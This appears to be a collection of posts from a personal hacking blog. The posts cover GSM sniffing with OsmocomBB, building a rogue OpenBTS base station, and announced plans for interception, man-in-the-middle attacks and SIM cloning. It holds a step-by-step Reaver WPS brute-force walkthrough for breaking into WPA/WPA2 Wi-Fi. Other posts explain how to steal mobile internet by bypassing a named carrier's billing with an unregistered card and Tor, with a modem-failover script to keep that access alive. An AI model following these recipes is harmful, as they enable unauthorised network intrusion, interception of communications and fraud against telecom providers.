TYPHON

I always go into hiding when things are in a knot... currently i have had some good news....

a new gsm hacking tool by VX is out... VX has been on this path for a while trying to come up with a good remedy to sort* all the newbies and experts in the gsm field (read RF)

what it do :) .....

So on a basic stand off in the field of hacking(read pen-test and vulnerability assessments) alot of the procedure goes like...

well you get the picture... so what we will do is debug entire scenarios of GSM in the same format...

• we do recon of the area, networks, Base Stations (call them boosters if you like but am not saying its correct) and also rogue base stations (come on you wanna know when someone listening to you right?)
• Scan the area (now this and step one basically have the same ideology here but other methods can be employed on step one that have a different point of operation from step two)
• Gain access --- rather gain access to certain channels + frequencies (read ARFCN * (BTS in a very big nutshell))
• Maintain access ... (this simply means camp(SYNC) to that BTS (ARFCN)  and now isten very well to the SMS/voice/Data .... see we good righ?
• we add our own step here .... crack the encryption (if any used)
• Cover tracks (well till now i have yet to find any tracks to be covered so just run when you are done owkaeeey?

So this tool --- TYPHON who should be credited...

alot of people.... lets start with:

The FIRMWARE guys (Osmocombb)

Most of the scripts (BRMLAB)

The Guy who created it all and maintains it (VX)

well then how does it work?

>>  basic explanation .... connect a GSM hardware to your computer to be able to debug the air interface (communication between the BTS and the MS) sort of the hardware acts as an ethernet card to our PC and Software... here comes in OsmocomBB (Open source mobile communications BaseBand) this is a stack running on your calypso based device (support for other may be added later on) e.g Motorola C115,118,123 (get all of them here) and interfaces to your laptop, this allows fluid communication and allows studying whats happening in the air interface.

and thats the most basic principle....

with this we can do alot of things as stated above... which the full details will be published as soon as the tool is released. thank you :)

so check the links out and also Follow @taeCode0h on twitter for more info and when he will release the tool.

That Wi-Fi (zero dictionary and obviously its WPA/2)

So first of all i hardly do this (lies) but as a request from a friend here we go:

So you want to attack a WPA2/WPA based wifi? lool ok, i will let you go ahead ...its not easy actually not a directly known attack exists, WEP on the other hand ahem too easy, anyway here is the funny bit, sit back relax and lets do one of the simplest way.

Tools>>Prerequisite:
Backtrack 5R3 ---- Kali Linux
Reaver

(if you on a debian based system do a quick install by)


apt-get update
apt-get install reaver

done

now how reaver works..... (yes the boring details --- ihate making script-kiddies worst i hate noobs who wont try and find out what is happening) so here is the source and link to how it works... alright? we are going to be attacking [Wifi Protected Setup (WPS)] via brute force.

so ahem.

open terminal (no stop asking me about the GUI--- you wanna hack at least learn the terminal)

ok: on terminal do :) ___

iwconfig
 listing the wireless interfaces available
 mine is wlan0

airmon-ng
checks monitor status

airmon-ng stop [your interface] [My is wlan0]
stop monitor status

airodump-ng [your interface] [My is wlan0]
packet capturing

Open new terminal:
wash -i [your interface] [My is wlan0] -c CHANNEL_NUM -C -s
this checks if the WiFi we are attacking is WPS enabled

Open new terminal:
reaver -i [your interface] [My is wlan0] -b [BSSID] --fail-wait=360
and finally FATALITY :)

if all plays according to plan ... you may win 97.2% of the times i go through... if not ahem more sophisticated attacks exist.

oww and yes sometimes some applications like network manager affect the result, so kill 'em before starting and sometimes they don, tools depend on your configuration so stop asking me if they worked on my side THEY DID . :) 

VX out

OK .... (oh am gonna pay for this i know)

Now stop asking me for free internet, i mean for real, is it so hard to think as a hacker? come on, you want something... you make it happen right... after my last post on how to get free internet people have always asked how do i save myself from the issue of the modem disconnecting after 10 minutes or so.... (applies to CDMA only)

Now heres a good hack:

• use a dialer that supports auto/re-connect pppd and wvdial are my best dialers since i am a *nix till i die so...
• create a bash/batch script calling reconnect 
• use a fully connected system.... multiple modems
• use a fully connected system.... multiple modems that interchange after one disconnects to pick the other up,
• use a fully connected system.... multiple modems that interchange after one disconnects to pick the other up and changes the data/traffic route
• use a fully connected system.... multiple modems that interchange after one disconnects to pick the other up and changes the data route and also allows the data/traffic to be persistent on a specific device/modem....

We good? alright

I will show the following methods.

• Bash script to check what modem/device has highest speed(read connected)
• after that change route to currently connected modem (read highest speed)
• finally make sure the above connections can be used e.g to stream a video (very difficult...but not impossible)

Script:

as i said, i use wvdial alot so .... calling to modems with wvdial

 sudo wvdialconf
[sudo] password for taecode0h: 
Editing `/etc/wvdial.conf'.

Scanning your serial ports for a modem.

Modem Port Scan<*1>: S0   S1   S2   S3   
ttyACM0<*1>: ATQ0 V1 E1 -- failed with 2400 baud, next try: 9600 baud
ttyACM0<*1>: ATQ0 V1 E1 -- failed with 9600 baud, next try: 115200 baud
ttyACM0<*1>: ATQ0 V1 E1 -- and failed too at 115200, giving up.


Sorry, no modem was detected!  Is it in use by another program?
Did you configure it properly with setserial?

Please read the FAQ at http://alumnit.ca/wiki/?WvDial

this command checks for the modem on the system then after that writes it to the config fie that is /etc/wvdial.conf

now we can replicate the same config file as we will use the same settings as both modems are of the same company, with that said we will also be required to use a different serial port for the second modem depending on what it finds: .....

 taecode0h@r41nsec:~$ sudo wvdialconf
Editing `/etc/wvdial.conf'.

Scanning your serial ports for a modem.

Modem Port Scan<*1>: S0   S1   S2   S3   
ttyACM0<*1>: ATQ0 V1 E1 -- OK
ttyACM0<*1>: ATQ0 V1 E1 Z -- OK
ttyACM0<*1>: ATQ0 V1 E1 S0=0 -- OK
ttyACM0<*1>: ATQ0 V1 E1 S0=0 &C1 -- OK
ttyACM0<*1>: ATQ0 V1 E1 S0=0 &C1 &D2 -- OK
ttyACM0<*1>: ATQ0 V1 E1 S0=0 &C1 &D2 +FCLASS=0 -- OK
ttyACM0<*1>: Modem Identifier: ATI -- MF192-T-1.0.0
ttyACM0<*1>: Speed 4800: AT -- OK
ttyACM0<*1>: Speed 9600: AT -- OK
ttyACM0<*1>: Speed 19200: AT -- OK
ttyACM0<*1>: Speed 38400: AT -- OK
ttyACM0<*1>: Speed 57600: AT -- OK
ttyACM0<*1>: Speed 115200: AT -- OK
ttyACM0<*1>: Speed 230400: AT -- OK
ttyACM0<*1>: Speed 460800: AT -- OK
ttyACM0<*1>: Max speed is 460800; that should be safe.
ttyACM0<*1>: ATQ0 V1 E1 S0=0 &C1 &D2 +FCLASS=0 -- OK
ttyACM1<*1>: ATQ0 V1 E1 -- OK
ttyACM1<*1>: ATQ0 V1 E1 Z -- OK
ttyACM1<*1>: ATQ0 V1 E1 S0=0 -- OK
ttyACM1<*1>: ATQ0 V1 E1 S0=0 &C1 -- OK
ttyACM1<*1>: ATQ0 V1 E1 S0=0 &C1 &D2 -- OK
ttyACM1<*1>: ATQ0 V1 E1 S0=0 &C1 &D2 +FCLASS=0 -- OK
ttyACM1<*1>: Modem Identifier: ATI -- MF192-T-1.0.0
ttyACM1<*1>: Speed 4800: AT -- OK
ttyACM1<*1>: Speed 9600: AT -- OK
ttyACM1<*1>: Speed 19200: AT -- OK
ttyACM1<*1>: Speed 38400: AT -- OK
ttyACM1<*1>: Speed 57600: AT -- OK
ttyACM1<*1>: Speed 115200: AT -- OK
ttyACM1<*1>: Speed 230400: AT -- OK
ttyACM1<*1>: Speed 460800: AT -- OK
ttyACM1<*1>: Max speed is 460800; that should be safe.
ttyACM1<*1>: ATQ0 V1 E1 S0=0 &C1 &D2 +FCLASS=0 -- OK
ttyACM2<*1>: ATQ0 V1 E1 -- OK
ttyACM2<*1>: ATQ0 V1 E1 Z -- OK
ttyACM2<*1>: ATQ0 V1 E1 S0=0 -- OK
ttyACM2<*1>: ATQ0 V1 E1 S0=0 &C1 -- OK
ttyACM2<*1>: ATQ0 V1 E1 S0=0 &C1 &D2 -- OK
ttyACM2<*1>: ATQ0 V1 E1 S0=0 &C1 &D2 +FCLASS=0 -- OK
ttyACM2<*1>: Modem Identifier: ATI -- MF192-T-1.0.0
ttyACM2<*1>: Speed 4800: AT -- OK
ttyACM2<*1>: Speed 9600: AT -- OK
ttyACM2<*1>: Speed 19200: AT -- OK
ttyACM2<*1>: Speed 38400: AT -- OK
ttyACM2<*1>: Speed 57600: AT -- OK
ttyACM2<*1>: Speed 115200: AT -- OK
ttyACM2<*1>: Speed 230400: AT -- OK
ttyACM2<*1>: Speed 460800: AT -- OK
ttyACM2<*1>: Max speed is 460800; that should be safe.
ttyACM2<*1>: ATQ0 V1 E1 S0=0 &C1 &D2 +FCLASS=0 -- OK
ttyUSB0<*1>: ATQ0 V1 E1 -- OK
ttyUSB0<*1>: ATQ0 V1 E1 Z -- OK
ttyUSB0<*1>: ATQ0 V1 E1 S0=0 -- OK
ttyUSB0<*1>: ATQ0 V1 E1 S0=0 &C1 -- OK
ttyUSB0<*1>: ATQ0 V1 E1 S0=0 &C1 &D2 -- OK
ttyUSB0<*1>: ATQ0 V1 E1 S0=0 &C1 &D2 +FCLASS=0 -- OK
ttyUSB0<*1>: Modem Identifier: ATI -- Manufacturer: +GMI: HUAWEI TECHNOLOGIES CO., LTD
ttyUSB0<*1>: Speed 9600: AT -- OK
ttyUSB0<*1>: Max speed is 9600; that should be safe.
ttyUSB0<*1>: ATQ0 V1 E1 S0=0 &C1 &D2 +FCLASS=0 -- OK
ttyUSB1<*1>: ATQ0 V1 E1 -- failed with 2400 baud, next try: 9600 baud
ttyUSB1<*1>: ATQ0 V1 E1 -- failed with 9600 baud, next try: 9600 baud
ttyUSB1<*1>: ATQ0 V1 E1 -- and failed too at 115200, giving up.
ttyUSB2<*1>: ATQ0 V1 E1 -- OK
ttyUSB2<*1>: ATQ0 V1 E1 Z -- OK
ttyUSB2<*1>: ATQ0 V1 E1 S0=0 -- OK
ttyUSB2<*1>: ATQ0 V1 E1 S0=0 &C1 -- OK
ttyUSB2<*1>: ATQ0 V1 E1 S0=0 &C1 &D2 -- OK
ttyUSB2<*1>: ATQ0 V1 E1 S0=0 &C1 &D2 +FCLASS=0 -- OK
ttyUSB2<*1>: Modem Identifier: ATI -- Manufacturer: +GMI: HUAWEI TECHNOLOGIES CO., LTD
ttyUSB2<*1>: Speed 9600: AT -- OK
ttyUSB2<*1>: Max speed is 9600; that should be safe.
ttyUSB2<*1>: ATQ0 V1 E1 S0=0 &C1 &D2 +FCLASS=0 -- OK

Found an USB modem on /dev/ttyACM0.
Modem configuration written to /etc/wvdial.conf.
ttyACM0<Info>: Speed 460800; init "ATQ0 V1 E1 S0=0 &C1 &D2 +FCLASS=0"
ttyACM1<Info>: Speed 460800; init "ATQ0 V1 E1 S0=0 &C1 &D2 +FCLASS=0"
ttyACM2<Info>: Speed 460800; init "ATQ0 V1 E1 S0=0 &C1 &D2 +FCLASS=0"
ttyUSB0<Info>: Speed 9600; init "ATQ0 V1 E1 S0=0 &C1 &D2 +FCLASS=0"
ttyUSB2<Info>: Speed 9600; init "ATQ0 V1 E1 S0=0 &C1 &D2 +FCLASS=0"

As you can see it did find two modems .... forget the part u see the mf-192 its a GSM type i was using to illustrate this, again it only shows one was found but clearly two have according to the terminal one one ttyUSB0 and on ttyACM0 with that said...

leego... save another config file /etc/wvdial2.conf edit the required parts and finally set it out to roll,

now the script.

modem_route=$(
for iface in `ifconfig -a | grep ppp | awk '{print $1; }'`; do
    echo $iface = `ping -I $iface -c 1 -q 8.8.8.8 | grep avg | awk -F/ '{print $5;}'`
done | sort -k 3 -rn | head -n 1
)

logger "Setting new route from candidate: $modem_route"

ip route del default
ip route add default dev `echo $modem_route | awk '{print $1;}'`

now this pings google dns server to check speed and also disconnection depending on the ping TTL and also changes the route between the two modem routes as you can see on the last two lines.

now next thing is to dial both modems.... this is done with the following command 

sudo wvdial -C /etc/wvdial.conf

calls first^ modem 

sudo wvdial -C /etc/wvdial2.conf

calls second^ modem

oww run a cron job to call the script every- i dont know people say cron jobs cant run every second but hey... people also say hacking is hard :) 

with that said...  more configurations can be done to induct a smoother flow on the internet like streaming media and also on allowing media required to pass on a specific device to be as such unchanged :)

do i need to go deeper than this sure... but come on should i do all this for you?

if yes ... wait for it... THIS IS FOR EDUCATIONAL PURPOSES ONLY how to configure routes.


sorta looks like this now huh

                                                                ________
                                          +------------+        /
                                          |            |       |
                            +-------------+ Modem 1 +-------
        __                  |             |            |     /
    ___/  \_         +------+-------+     +------------+    |
  _/        \__      |     if1      |                      /
 /             \     |              |                      |
|YoBox          -----+ Script       |                      |Internet
 \_           __/    |              |                      |
   \__     __/       |     if2      |                      \
      \___/          +------+-------+     +------------+    |
                            |             |            |     \
                            +-------------+ Modem 2 +-------
                                          |            |       |
                                          +------------+        \________

OsmocomBB+OpenBTS+GSM={Calypso Chipset/Motorola C123} *USB+2.5mm Jack

BTS------------Base Transiever Station
GSM-----------Global System for Mobile Communications, originally Group Spécial Mobile
OsmocomBB---Firmware to run in our Calypso Based Device (Motorola C123)
USB to 2.5mm Jack cable (I will show you how to make this)

• What I am doing.
• What are my objectives.
• Why the above equipment.
• Why am I doing this.
• What do I get out of this.

What I am doing

I will be creating a BTS with the cheapest hardware equipment available to do this.

What are my objectives

Read above and then think of what a BTS can do.

Why the above Equipment

• Ummmm coz its really cheap (the equipment)
• Coz I want a BTS really bad (the things you can exploit research with this)
• Coz testing IPV4/IPV6/TCP..... is too overrated and and everyone is doing it... who will do GSM

Why am I doing this (now am just repeating myself)

What do I get out of this

Everything and Nothing ----> yes its every bit of knowledge till where i stop and its nothing since I know Telcos will probably ignore my rant :(

..... ok lets get rolling.

REQUIREMENTS:
Hardware: 

1. PC
2. Calypso Chipset Supported Device (Motorola c113,c115,118.....)
3. USB to 2.5mm Jack cable

Software:

1. *nix Based OS
2. OsmocomBB
3. OpenBTS

STEPS

1. Install OpenBTS (and Asterisk)
2. Install OsmocomBB
3. Configure Everything
4. Create USB -2.5 mm Jack* am not going to go into this.... its a pain i dont want to remember  (not that its very hard ... its just i burnt a finger and probably someones house while at it)
5. Test
6. and......play

1. Install OpenBTS (and Asterisk)

Well this has so many ways to do this, from compiling the source and if you have Ubuntu 12.04 (I did this also on  7.3 (wheezy) 64-bit) x86-64 architecture as your OS Debian packages exist to do this , you need also to install this as a first:

autoconf
libtool
libosip2
libortp
libusb-1.0
g++
sqlite3
libsqlite3-dev (sipauthserve only)
libreadline6-dev
libncurses5-dev

sudo apt-get install autoconf libtool libosip2-dev libortp-dev libusb-1.0-0-dev g++ sqlite3 libsqlite3-dev erlang libreadline6-dev libncurses5-dev

Well after that the following downloaded packages need to be installed (N.B the packages you are about to install are specific for UHD ----USRP Hardware Driver---- devices)

sudo dpkg -i a53_1.0-1_amd64.deb

sudo dpkg -i openbts-public_3.2_amd64.deb

sudo dpkg -i smqueue-public_3.2_amd64.deb 

sudo dpkg -i sipauthserve-public_3.2_amd64.deb

Running OpenBTS

(from OpenBTS root)

cd /OpenBTS

sudo ./OpenBTS

You should see something like this..... well if you have your devices connected and configured

system ready
use the OpenBTSCLI utility to access CLI

And if you scan for GSM towers on your phone, you should see a 00101 (test) network. If you try to attach, it will reject you. This is because OpenBTS, by default, only allows registered handsets to connect. As we are not running our registration server (sipauthserve) no phones will camp. From here, we should look at a few OpenBTS configuration variables. Connect to OpenBTS with the OpenBTSCLI command:

(from OpenBTS root) 

cd /OpenBTS 

sudo ./OpenBTSCLI

Once you have OpenBTS up and running, you need to change the following configuration parameters in the database (/etc/OpenBTS/OpenBTS.db):

Control.GSMTAP.TargetIP = 127.0.0.1
GSM.Radio.NeedBSIC = 1
GSM.Radio.Band = 1800
GSM.CellSelection.Neighbors =           (set to empty string)
GSM.RACH.MaxRetrans = 3
GSM.RACH.TxInteger = 8
GSM.Radio.C0 = <your ARFCN (see note)>
Control.LUR.OpenRegistration = ^63905.*$   (note: in this example only IMSIs with MCC 639 and the MNC 05 will be allowed to register to the network, change that accordingly)

Warning: Only set GSM.Radio.C0 to an ARFCN you have a valid license for.

Installing OsmocomBB

this part is really fun but also very tricky especially if you don't have an arm cross compiler (this enables us to compile the arm code to firmwares for the software to be loaded in to the calypso based device read (Motorola C123)

so here is a good place to start :

am guessing you have done the necessary, many people ask me where the usb to 2.5 mm cable is available for purchase and i would say here

now that we have nearly everything done, play around with Osmocom if its your first time.... clearly if you need to know what it does i would suggest you go to my PDFs link and get more info on the 2G networks before doing anything past what you are doing.


Now.... this is how to work a BTS from the cheap device.....

P.S you need to do a filter replacement as such and in-case you destroy your board like i also did you will need to do... this look at photo

"When attempting this for the first try, I soldered / desoldered components a few times and ended up destroying the pads and traces so much that there was no way I could put the original filters or balun back on the PCB.

So in a last attempt to make the phone do something, I tried something a little unorthodox (actually proposed by h0rizon on IRC :). Instead of doing a proper unbalanced to balanced signal convesion, I just connected one of the RITA balanced line to the ground using a DC blocking cap. And then connected the other balanced line to the input via a capacitor as well. For DCS1800 you need to add a capacitor of your own, but for EGSM, there is a capacitor in the input SAW matching that does the trick so you only need a wire.

The quite dirty results is shown on the side. It's ugly but it actually works ... The signal is maybe distorded or a litte more noisy, that has yet to be determined. So if you screw up, you can always fall back to this :)

" cited from http://246tnt.com/gsm/rx_filter.html

RF-hacking.... Yes Radio Frequency SPECIFICALLY, GSM

So do I start with explaining every single bit? because this is one hell of a lengthy topic.

OK lets start here:

GSM:
Most common network/protocol in the mobile industry (around 75% of mobile users)
Established around 1999
Very common
(was/is) Very Expensive Debugging devices
(had) Very little Documentation

Equipment:

MS-----------Mobile Station=Mobile Equipment + Sim Card
BTS----------Base Transmission Station
BSC----------Base Station Controller

here is a basic illustration of the GSM network



So with this we have a huge playing field, I know this is rather new to many people and since GSM was a very hushed on project it means the documentation available is either too heavy for people to indulge in or too un-detailed, so starting of from the really simple works out there i will try to bridge this lines the best way i can.

so my next post will explain how to do "DEBUGGING" on this network with very simple easy to afford tools (note afford not get)

Here are the things that we can achieve as of now.

Access the air interface between the phone and BTS
Access HLR via SS7 hacks and pay services (later on)

So what will we learn from all this:

1. HOW IN/SECURE GSM NETWORKS REALLY ARE
2. HOW TO BREAK THIS SECURITY
3. HOW TO DO MAN IN THE MIDDLE ATTACKS ON THIS NETWORKS
4. HOW TO INTERCEPT DATA ON THIS NETWORKS
5. HOW TO SETUP BASE TRANSMISSION STATIONS
6. HOW TO ACCESS SIM APPLICATIONS\
7. HOW TO CLONE/HACK SIM CARDS
8. HOW TO CREATE OUR OWN GSM NETWORKS COMPLETE WITH :

• Personalised simcards
• sim applications
• secure network rules and protocols
• effective services 
• really cheap call rates (i know i will probably be killed for this so if you dont hear from me... ahem)

So with that... why dont we dive in..... start from the next post about the debugging devices.

Of ChromeBooks and Hacking (read Pentest)

So, Yes first post this year huh (talk about lazy (lets call it busy for now))

Good year? new girl, same car :) New Partnership, shaved dreads, yes shaved em.... cut some friends and exes, built an empire (ok working on it) hacked a bank (no ... not done that) , hacked a GSM tower (via) stole GSM credentials (of course am not admitting lol)

now since we have an update of my life can i state i totally dig my Chromebook (CR-48) Mario Pony...?

• after all, it is really light (around 3lb) 
• battery life 8 hours (yes that long... i actually don't carry my charger to work (thats how much of a bad ass i become))
• its got an inbuilt CDMA/GSM (if you know what to do to change in between those two)
• GPS (ok it uses the WWAN modem card)
• the processor leaves more to the wanting performance as it is still a netbook
• the SSD does save tonnes in performance though
• and yes >>> YOU CAN JAILBREAK it ... add tonnes of things and baaaam (Kay knows i say this too much)
• barely heats up, did i mention its like light > 

Now for the next topic> turning my CR-48 to a development/Security oriented machine (ok too bad i wont be doing Reverse Eng on it waaaait or can we?

TOPICS

• Jailbreaking/Rooting
• Mounting as Writable 
• Force Update
• Securing it
• Installing Ubuntu/Debian/Kali/ blah blah blah any Linux on it
• Installing Linux tools
• Installing a local development server
• Installing Security Tools (esp if you did not install Kali linux)

Owww Dedication to my best friend (oww yes hackers do have lives yo) /Masha and an annoying mate /Kay and IDD SALIM GITHINJI - RIP

Reverse Engineering Kit[Olly Tools 2013---with Plugins]

So someone asked me where he should get a good Kit for reverse Engenering .... well heres a link to a 2013 Olly T00lset :) p.s will upload to my dropbox so it doesnt run the risk of elimination....


0llyDBG T00Ls 2013-2014

have a blast :)

back to code, sawa?
Wazi

My Rant - Katy

For the sake of this argument security is devoid of technology and Vic a Vic ..... And for further clarity.... This is a rant, zero security ,hacking, coding and development purpose....

She was beautiful, well I was sexually starved but in all aspects... She was beautiful ... It was around 2004 and we had attended the provincial drama festival... My ellocuent English had pulled me thus far (God had) I loved acting ... Being a thespian is something I pride myself with... Maybe because it came in 2nd in my nature or just my character.. Ok ... She was beautiful, sad part my geeky nerdy esteem kicked up a notch higher than my words.... I really did try talking to her, but sadly my courage would jolt beneath the Marian's trench in depth when making pleasants with a beautiful girl.

For the sake of this short rant... Let's call her Katy, Katy... Look for that song by Peter Bradley Adams... No relation to this story though... She was perfect, light skinned... 4 on a light skin completion meter she was medium height curvy , lord she had it long black natural hair ,ow do trust me .,, zero make up.... Except from the lip gloss on her full but very brief lips... You know the ones that leave you questioning if the kiss happened or you just bit your lower or upper lip depending on your formulae with kisses....dressed in her high school attire she played right into my geek fantasies so well I matched it with reality so quick my pecker jolted much ...ahem... She was beautiful in every sense.... She looked at me once in a while, making me fix my pullover so many times I think I switched it front to back a few more than enough times....She was beautiful... Her eyes full of energy and excitement yet shy not enough innocence could be in the world to match hers and her face... Enough to challenge the Greek sculptured philosophy in a frenzy.... She was....

Everything breaks, this is my most favorite quote, and standing by it ,I broke even and walked to her well not alone was she nor was I ,I had a fleet of men in wait... Or wingman if I may rephrase ,my salutations were met with a smile, something not many a folk do, reasons would fall in major categories noted as am very nerdy, too geeky and masculine appeal to ladies... I don't really pull that much trophies ,anyway she smiled setting a perfect display of one heck of a set of white leveled teeth, she was Beautiful, by jones she was a masterpiece.

I would love to tell you that to this day thoughts of her and me flaunt my mind that is true as she met my poor vibe with smiles that made me think i was either a very good clown or romeo himself.... to be really honest i dont know what she saw in me honestly, i dont mean to self me self short but i swear, she was too good to me, I remember when we left each other, we exchanged names , birth dates, (dont ask why) and school addresses, funny thing I never wrote, but she did... enough times to let me see she really like me... she even sent me er school tie for me to wear it, swear (this was a quintessence of a girls virginity back then) anyway.... she did and to this day I remember her as none other.

I mean to say there's always a person in mind who stirs your security, memory wise.... processor wise(mind) heck even your Operating Soul.... those are your exploits.... so exploits are good... right? they give access to the heart mean root. so .... let me code that android exploit then Katy i mean  exploit away :)

Security oriented Distro Kali Linux Header Installation Issues

So this is rather going to be short.

Many people especially in the forums have been nagging about the custom kernel on Kali Linux and how to install the kernel headers that come with the new security distro [currently at time of publish 1.0.5] and the header being 3.7-trunk-amd64, this kernel has a patch that allows packet injection hence another method i used by upgrading the kernel to 3.8.x worked for installing headers required for VMware/Virtual Box installation but i couldn't work on the wireless network security/pentest.

So here we go, first thing you will need to edit your sources list that is if they dont have this:

deb [arch=i386,amd64,armel,armhf] http://http.kali.org/kali kali-dev main contrib non-free
deb [arch=i386,amd64,armel,armhf] http://http.kali.org/kali kali-dev main/debian-installer
deb-src http://http.kali.org/kali kali-dev main contrib non-free

deb [arch=i386,amd64,armel,armhf] http://http.kali.org/kali kali main contrib non-free
deb [arch=i386,amd64,armel,armhf] http://http.kali.org/kali kali main/debian-installer
deb-src http://http.kali.org/kali kali main contrib non-free

deb [arch=i386,amd64,armel,armhf] http://security.kali.org/kali-security kali/updates main contrib non-free
deb-src http://security.kali.org/kali-security kali/updates main contrib non-free

sometimes after doing this and trying an update (apt-get update) you might get an exception that

E: Type 'deb[arch=i386,amd64,armel,armhf] ' is not known on line..... in source list /etc/apt.......
kindly eliminate the [arch=i386,amd64,armel,armhf] from everywhere it appears and try again .... this will work most of the time.
ok then ..... here are a few commands to kick in that virtual appliance NB.... this is before installing the virtual appliance

echo cups enabled >> /usr/sbin/update-rc.d

echo vmware-tools enabled >> /usr/sbin/update-rc.d
apt-get install gcc make linux-headers-$(uname -r) 

and voila.... this works ...well for me ... i hope it does for you too :)

Ok am better now :)

well the title is pretty much definitive, been a while since the September 13 demise of an accident , yes it was a Friday and a 13th to be precise .... any way I am well and back , few projects here and there but posts are due to continue streaming in:

An android spyware :) yes we will have that.
A mobile tracking system from what around  200$ system.
Owww and yes ... if you read my blog ... don't expect me to put up banners and notices that this is for educational purpose only.... ITS FOR SECURITY for chris* sake, if it looks bad that's because you need to patch yo system aight?

alright vented* so lets do security.

Part 1: Stealing Internet :) again (this is becoming a habit)

Since this post is going to be a little bit long why dont I try to be as forth coming as I can, Its becoming very hard for me to blog with this projects that I am working on and no, am not complaining.
So Lets steal some more Internet Orange Ke.(Ok its Telkom but same difference)

Ok so I made an earlier Post about getting that free internet using a method that employed brute forcing usernames (still viable) but heres another method and woah unto you who use the method as this will also guarantee you making a huge  mistake (for Educational purposes only)

1. Get a CDMA/EVDO RUIM card that is not probably registered in your name.
2. Get TOR / (any suitable VPN you prefer (to me /for me .... I refer TOR for its Free sense and the fact that I get more than two hacks going here)<--- PS TOR is not that safe dont believe me (i will post that later))
3. Computer
4. CDMA/EVDO Modem best to strip off your IMEI/SN but hey its not much you just not paranoid enough ...YET
5.nmap :) (ok you dont need this i will do the scan for you)

Ok yes

5. BRAIN

..... Ok here we go:

So What we will be doing, using a VPN to bypass the billing server:

Make sure you dont have existing bundles to work this out (thats the point of it right?)

ok since this is step one I teach how to configure TOR to a specific country (why?.... TOR is used by a lot of  people, this slows down its network bandwidth, speed and we prefer high internet speeds do we not<--- alright here we go)

owww Install TOR and Vidalia  package for your OS. (If I need to show you this, ah ah....  am not going there)
then we need to access  this once we have finished the installation

Seeing what we have is the list for all servers and countries we can use for TOR .
Select a certain country you want e.g China
Click that server select and save the Fingerprint of the server to fingerprint.txt (copy like 4 of them)

 Then
Remove the spaces and add $ in front of each line & separate with ” , “. Save it as a single line.

Add “ExitNodes” and next line “StrictExitNodes 1″. It will look like … the above^

Now after that go to settings: advanced: open up the torc file you can see (mine gave me hell on my FreeBSD box so heres a VM switch up on XP ) 

once that is open edit that to give you the bellow instance:

What you will add is the ExitNodes lines to the top of that file, nothing more or less :)

save this information click open , OK , exit and done :) 

Restart the Vidalia package and voila, we are done :)

Ok from this steps we done with step one :) with step two i will explain what happens but with this if you connect your modem ... and start TOR you will be able to browse for free, OK (with disconnections every ten minutes (that's my fault --- ask orange who gave them the idea :) yes, iBrag.

anyway reality aside a simple batch/bash script would suffice over the problem.

So what do we have

Fast

Free

(annoying coz of disconnection but sure you can chip in on how to bypass this) Internet